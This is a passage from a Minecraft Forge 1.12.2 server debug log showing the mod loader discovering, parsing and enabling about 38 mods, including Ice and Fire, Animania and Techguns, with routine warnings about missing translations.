claimit-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file BackTools-1.12.2-7.0.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file betteranimalsplus-1.12.2-8.0.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file bookworm-1.12.2-2.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file colorchat-1.12.1-2.0.43-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file creature_whisperer_1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file DragonMounts2-1.12.2-1.6.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file horse_colors-1.12.2-1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iceandfire-1.8.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iChunUtil-1.12.2-7.2.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file Instant Massive Structures Mod 1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file jei_1.12.2-4.15.0.292.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file k4lib-1.12.1-2.1.81-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file landmanager-1.12.2-1.4.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisisdoors-1.12.2-7.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file mowziesmobs-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file spartanfire-0.07.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanShields-1.12.2-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file TeamUp-1.1.3-1.12.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file torohealth-1.12.2-11.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file zawa-1.12.2-1.7.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimitapi-1.12.2-1.2.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimit-1.12.2-1.2.0.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping already parsed coremod or tweaker llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file llibrary-1.7.19-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Examining file forge.jar for potential mods [14:27:58] [Server thread/DEBUG] [FML]: The mod container forge.jar appears to be missing an mcmod.info file [14:27:58] [Server thread/DEBUG] [FML]: Examining file animania-1.12.2-1.7.3.jar for potential mods [14:27:58] [Server thread/TRACE] [FML]: Located mcmod.info file in file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.animania.Animania) - loading [14:27:58] [Server thread/TRACE] [FML]: Parsed dependency info for animania: Requirements: [craftstudioapi, forge@[14.23.5.2779,)] After:[craftstudioapi, cofhcore, harvestcraft, natura, botania, biomesoplenty, twilightforest, aroma1997sdimension, openterraingenerator, forge@[14.23.5.2779,)] Before:[thermalexpansion] [14:27:59] [Server thread/DEBUG] [FML]: Examining file BackTools-1.12.2-7.0.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file BackTools-1.12.2-7.0.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.backtools.common.BackTools) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod backtools it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod me.ichun.mods.backtools.common.BackTools, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file betteranimalsplus-1.12.2-8.0.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file betteranimalsplus-1.12.2-8.0.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.betteranimalsplus.BetterAnimalsPlusMod) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for betteranimalsplus: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file bookworm-1.12.2-2.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file bookworm-1.12.2-2.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.soggymustache.bookworm.BookwormMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for bookworm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file colorchat-1.12.1-2.0.43-universal.jar for potential mods [14:27:59] [Server thread/DEBUG] [FML]: The mod container colorchat-1.12.1-2.0.43-universal.jar appears to be missing an mcmod.info file [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.colorchat.ColorChat) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for colorchat: Requirements: [k4lib] After:[k4lib] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.leviathanstudio.craftstudio.CraftStudioApi) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for craftstudioapi: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file creature_whisperer_1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file creature_whisperer_1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (cw.CWMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for cw: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CTM-MC1.12.2-1.0.1.30.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CTM-MC1.12.2-1.0.1.30.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (team.chisel.ctm.CTM) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod ctm it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod team.chisel.ctm.CTM, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file DragonMounts2-1.12.2-1.6.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file DragonMounts2-1.12.2-1.6.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.TheRPGAdventurer.ROTD.DragonMounts) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for dragonmounts: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file ExtraGems-1.12.2-(v.1.2.8).jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (xxrexraptorxx.extragems.main.ExtraGems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for extragems: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file horse_colors-1.12.2-1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file horse_colors-1.12.2-1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (felinoid.horse_colors.HorseColors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for horse_colors: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iceandfire-1.8.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iceandfire-1.8.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.github.alexthe666.iceandfire.IceAndFire) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for iceandfire: [llibrary, forge] [llibrary, forge] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iChunUtil-1.12.2-7.2.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iChunUtil-1.12.2-7.2.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.ichunutil.common.iChunUtil) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for ichunutil: Requirements: [forge@[14.23.5.2781,99999.24.0.0)] After:[forge@[14.23.5.2781,99999.24.0.0)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file Instant Massive Structures Mod 1.12.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file Instant Massive Structures Mod 1.12.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (modid.imsm.core.IMSM) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for imsm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file jei_1.12.2-4.15.0.292.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file jei_1.12.2-4.15.0.292.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (mezz.jei.JustEnoughItems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for jei: Requirements: [forge@[14.23.5.2816,)] After:[forge@[14.23.5.2816,)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file JustEnoughResources-1.12.2-0.9.2.60.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (jeresources.JEResources) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod jeresources it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod jeresources.JEResources, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file k4lib-1.12.1-2.1.81-universal.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file k4lib-1.12.1-2.1.81-universal.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.k4lib.K4Lib) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for k4lib: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file landmanager-1.12.2-1.4.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file landmanager-1.12.2-1.4.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (brightspark.landmanager.LandManager) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for landmanager: [] [] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisiscore-1.12.2-6.5.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisiscore-1.12.2-6.5.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.core.MalisisCore) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisiscore: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisisdoors-1.12.2-7.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisisdoors-1.12.2-7.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.doors.MalisisDoors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisisdoors: Requirements: [malisiscore] After:[malisiscore] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file mowziesmobs-1.5.4.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file mowziesmobs-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.bobmowzie.mowziesmobs.MowziesMobs) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowziesmobs: Requirements: [llibrary@[1.7.9,)] After:[llibrary@[1.7.9,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SereneSeasons-1.12.2-1.2.18-universal.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SereneSeasons-1.12.2-1.2.18-universal.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (sereneseasons.core.SereneSeasons) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for sereneseasons: Requirements: [forge@[14.23.5.2768,)] After:[forge@[14.23.5.2768,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file spartanfire-0.07.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file spartanfire-0.07.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.chaosbuffalo.spartanfire.SpartanFire) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanfire: Requirements: [iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] After:[iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanShields-1.12.2-1.5.4.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanShields-1.12.2-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanshields.ModSpartanShields) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanshields: Requirements: [] After:[redstoneflux, enderio, rftools, botania, redstonearsenal, abyssalcraft, betterwithmods, thaumcraft] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanWeaponry-1.12.2-beta-1.3.8.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanweaponry.ModSpartanWeaponry) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanweaponry: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file TeamUp-1.1.3-1.12.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file TeamUp-1.1.3-1.12.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.ewyboy.teamup.TeamUp) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for teamup: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file techguns-1.12.2-2.0.2.0_pre3.1.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (techguns.Techguns) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for techguns: Requirements: [forge@[14.23.5.2807,)] After:[ftblib, chisel, patchouli] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file torohealth-1.12.2-11.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file torohealth-1.12.2-11.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.torocraft.torohealthmod.ToroHealthMod) - loading [14:28:00] [Server thread/INFO] [FML]: Disabling mod torohealthmod it is client side only. [14:28:00] [Server thread/DEBUG] [FML]: Skipping mod net.torocraft.torohealthmod.ToroHealthMod, container opted to not load. [14:28:00] [Server thread/DEBUG] [FML]: Examining file ultimate_unicorn_mod-1.12.2-1.5.16.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.hackshop.ultimate_unicorn.UltimateUnicornMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for ultimate_unicorn_mod: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from ultimate_unicorn_mod-1.12.2-1.5.16.jar to locate a version number for mod ultimate_unicorn_mod [14:28:00] [Server thread/WARN] [FML]: Mod ultimate_unicorn_mod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.5.16 [14:28:00] [Server thread/DEBUG] [FML]: Examining file wings-1.1.6-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file wings-1.1.6-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.MowziesMobsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowzies_wings: Requirements: [wings] After:[wings, mowziesmobs] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsBaublesIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for bauble_wings: Requirements: [wings] After:[wings, baubles@[1.5,1.6)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsMoBendsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mobends_wings: Requirements: [wings] After:[wings, mobends@[0.24,0.25)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.paulf.wings.WingsMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Using mcmod dependency info for wings: [forge@[14.23.5.2816,), llibrary@[1.7,1.8)] [forge@[14.23.5.2816,), llibrary@[1.7,1.8), jei@[4.8,5)] [] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from wings-1.1.6-1.12.2.jar to locate a version number for mod wings [14:28:00] [Server thread/WARN] [FML]: Mod wings is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.6 [14:28:00] [Server thread/DEBUG] [FML]: Examining file zawa-1.12.2-1.7.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file zawa-1.12.2-1.7.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (org.zawamod.ZAWAMain) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for zawa: Requirements: [bookworm@[1.12.2-2.2.0,)] After:[bookworm@[1.12.2-2.2.0,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimitapi-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/DEBUG] [FML]: The mod container claimitapi-1.12.2-1.2.0.jar appears to be missing an mcmod.info file [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.api.ClaimItAPI) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimitapi: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimit-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file claimit-1.12.2-1.2.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.ClaimIt) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimit: Requirements: [claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] After:[claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file llibrary-1.7.19-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file llibrary-1.7.19-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.ilexiconn.llibrary.LLibrary) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for llibrary: Requirements: [forge@[14.23.5.2772,)] After:[forge@[14.23.5.2772,)] Before:[] [14:28:00] [Server thread/INFO] [FML]: Forge Mod Loader has identified 38 mods to load [14:28:00] [Server thread/DEBUG] [FML]: Found API mezz.jei.api (owned by jei providing JustEnoughItemsAPI) embedded in jei [14:28:00] [Server thread/DEBUG] [FML]: Found API me.ichun.mods.ichunutil.api (owned by iChun providing iChunUtil API) embedded in ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Found API com.oblivioussp.spartanweaponry.api (owned by spartanweaponry providing spartanweaponry_api) embedded in spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-models: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-textures: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API iChunUtil API: owner: iChun, dependents: [ichunutil] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API jeresources|API: owner: jeresources, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API spartanweaponry_api: owner: spartanweaponry, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API JustEnoughItemsAPI: owner: jei, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-events: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-utils: owner: ctm, dependents: [] [14:28:00] [Server thread/TRACE] [FML]: Received a system property request '' [14:28:00] [Server thread/TRACE] [FML]: System property request managing the state of 0 mods [14:28:00] [Server thread/DEBUG] [FML]: After merging, found state information for 0 mods [14:28:00] [Server thread/WARN] [FML]: Missing English translation for FML: assets/fml/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod animania [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod betteranimalsplus [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod bookworm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod colorchat [14:28:00] [Server thread/WARN] [FML]: Missing English translation for colorchat: assets/colorchat/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod craftstudioapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for craftstudioapi: assets/craftstudioapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod cw [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod dragonmounts [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod extragems [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod horse_colors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod iceandfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod imsm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod jei [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod k4lib [14:28:00] [Server thread/WARN] [FML]: Missing English translation for k4lib: assets/k4lib/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod landmanager [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisiscore [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisisdoors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowziesmobs [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod sereneseasons [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanshields [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod teamup [14:28:00] [Server thread/WARN] [FML]: Missing English translation for teamup: assets/teamup/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod techguns [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ultimate_unicorn_mod [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowzies_wings [14:28:00] [Server thread/WARN] [FML]: Missing English translation for mowzies_wings: assets/mowzies_wings/lang/en_us.lang [14:28:00] [Server thread/WARN] [FML]: Mod bauble_wings has been disabled through configuration [14:28:00] [Server thread/WARN] [FML]: Mod mobends_wings has been disabled through configuration [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod wings [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod zawa [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimitapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimitapi: assets/claimitapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimit [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimit: assets/claimit/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod llibrary [14:28:00] [Server 